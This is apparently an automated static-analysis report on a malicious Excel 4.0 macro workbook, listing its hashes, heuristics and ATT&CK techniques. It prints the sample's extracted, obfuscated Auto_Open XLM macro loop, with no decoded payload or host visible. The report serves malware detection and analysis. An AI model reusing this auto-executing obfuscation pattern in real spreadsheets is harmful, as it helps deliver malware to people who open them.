Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 630cb12b073dbe9d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:12 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: a66e4d60c5d5998a0da5f58566c463a4 SHA-1: fb563cba522072552ed7a7f59e799d178e35f860 SHA-256: 630cb12b073dbe9ddfdc990d1b441e66c1c2c3c2dd7927974f96fa0c19557bdf
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open entry, which is a known technique for executing malicious code upon opening. The presence of dangerous formula APIs in the Auto_Open macro indicates an intent to run arbitrary commands, likely for downloading and executing a secondary payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6880 bytes
SHA-256: de689edba92f8abe703d86ed5e3e0c46e49c06a473cb3d8d6ebec21ab495cd05
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pkTZpUKAkik
' 0018     25 LABEL : Cell Value, String Constant - adRsEWYrwo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I150 
' 0018     25 LABEL : Cell Value, String Constant - cFFFitqwoo len=0 
' 0018     23 LABEL : Cell Value, String Constant - FOprqWXJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - hLgqW len=0 
' 0018     25 LABEL : Cell Value, String Constant - JNKgIjjQSP len=0 
' 0018     25 LABEL : Cell Value, String Constant - JWeoPiTACP len=0 
' 0018     26 LABEL : Cell Value, String Constant - KylFhOFLGar len=0 
' 0018     23 LABEL : Cell Value, String Constant - LSXLcEzu len=0 
' 0018     25 LABEL : Cell Value, String Constant - nmdEoxQaIr len=0 
' 0018     23 LABEL : Cell Value, String Constant - SYMJqWPk len=0 
' 0018     25 LABEL : Cell Value, String Constant - tdeuwSQegt len=0 
' 0018     25 LABEL : Cell Value, String Constant - ThrLuPKEOA len=0 
' 0018     25 LABEL : Cell Value, String Constant - uFhqaNoost len=0 
' 0018     25 LABEL : Cell Value, String Constant - uipvmSyWPK len=0 
' 0018     23 LABEL : Cell Value, String Constant - UKHEWaTh len=0 
' 0018     23 LABEL : Cell Value, String Constant - vAXWdwbL len=0 
' 0018     23 LABEL : Cell Value, String Constant - VgEPCOBD len=0 
' 0018     22 LABEL : Cell Value, String Constant - vgJUHQH len=0 
' 0018     22 LABEL : Cell Value, String Constant - wNiKFkG len=0 
' 0018     24 LABEL : Cell Value, String Constant - XKrYmtbzK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pkTZpUKAkik,I59,"SET.NAME("wNiKFkG",0+VALUE("0"))",""
'  pkTZpUKAkik,I62,"SET.NAME("uipvmSyWPK",wNiKFkG)",""
'  pkTZpUKAkik,I64,"SET.NAME("JNKgIjjQSP",wNiKFkG)",""
'  pkTZpUKAkik,I68,"SET.NAME("ThrLuPKEOA",COUNTA(VgEPCOBD))",""
'  pkTZpUKAkik,I71,"SET.NAME("JWeoPiTACP",COUNTA(XKrYmtbzK))",""
'  pkTZpUKAkik,I76,[],""
'  pkTZpUKAkik,R78,"",902.00000000000000000000
'  pkTZpUKAkik,R79,"",-152.00000000000000000000
'  pkTZpUKAkik,I80,"SET.NAME("KylFhOFLGar","")",""
'  pkTZpUKAkik,R80,"",-404.00000000000000000000
'  pkTZpUKAkik,R81,"",-818.00000000000000000000
'  pkTZpUKAkik,I82,"uipvmSyWPK",""
'  pkTZpUKAkik,R82,"",687.00000000000000000000
'  pkTZpUKAkik,R83,"",139.00000000000000000000
'  pkTZpUKAkik,I84,"SET.NAME("SYMJqWPk",HLOOKUP("*",VgEPCOBD,uipvmSyWPK,FALSE))",""
'  pkTZpUKAkik,I87,"cFFFitqwoo",""
'  pkTZpUKAkik,I91,"SET.NAME("LSXLcEzu",wNiKFkG)",""
'  pkTZpUKAkik,I94,[],""
'  pkTZpUKAkik,I98,"LSXLcEzu",""
'  pkTZpUKAkik,I103,"uFhqaNoost",""
'  pkTZpUKAkik,I107,"vAXWdwbL",""
'  pkTZpUKAkik,I110,"vgJUHQH",""
'  pkTZpUKAkik,I115,"SET.NAME("hLgqW",VALUE(HLOOKUP("*",XKrYmtbzK,vgJUHQH,FALSE)))",""
'  pkTZpUKAkik,I117,"nmdEoxQaIr",""
'  pkTZpUKAkik,I122,"KylFhOFLGar",""
'  pkTZpUKAkik,I126,"JNKgIjjQSP",""
'  pkTZpUKAkik,I129,NEXT(),""
'  pkTZpUKAkik,I133,"adRsEWYrwo",""
'  pkTZpUKAkik,I138,[],""
'  pkTZpUKAkik,I141,"FOprqWXJ",""
'  pkTZpUKAkik,I143,NEXT(),""
'  pkTZpUKAkik,I148,RETURN(),""
'  pkTZpUKAkik,I175,"SET.NAME("UKHEWaTh",I59)",""
'  pkTZpUKAkik,I179,"VgEPCOBD",""
'  pkTZpUKAkik,I182,"SET.NAME("XKrYmtbzK",R87C12)",""
'  pkTZpUKAkik,I185,"SET.NAME("FOprqWXJ",192)",""
'  pkTZpUKAkik,I188,"SET.NAME("tdeuwSQegt",9)",""
'  pkTZpUKAkik,I191,UKHEWaTh(),""
'  pkTZpUKAkik,I192,HALT(),""